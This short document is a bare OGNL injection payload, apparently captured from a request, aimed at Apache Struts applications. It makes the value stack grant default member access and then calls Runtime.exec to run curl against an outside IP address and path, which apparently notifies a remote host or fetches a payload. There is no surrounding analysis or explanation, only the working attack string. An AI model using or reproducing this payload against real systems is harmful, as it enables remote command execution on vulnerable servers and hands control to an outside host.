%{(#context=#attr[& #39;struts.valueStack& #39;].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec(& #39;curl http://45.8.158.235:10000/i/f8436b/8d49/g4kh/& #39;))}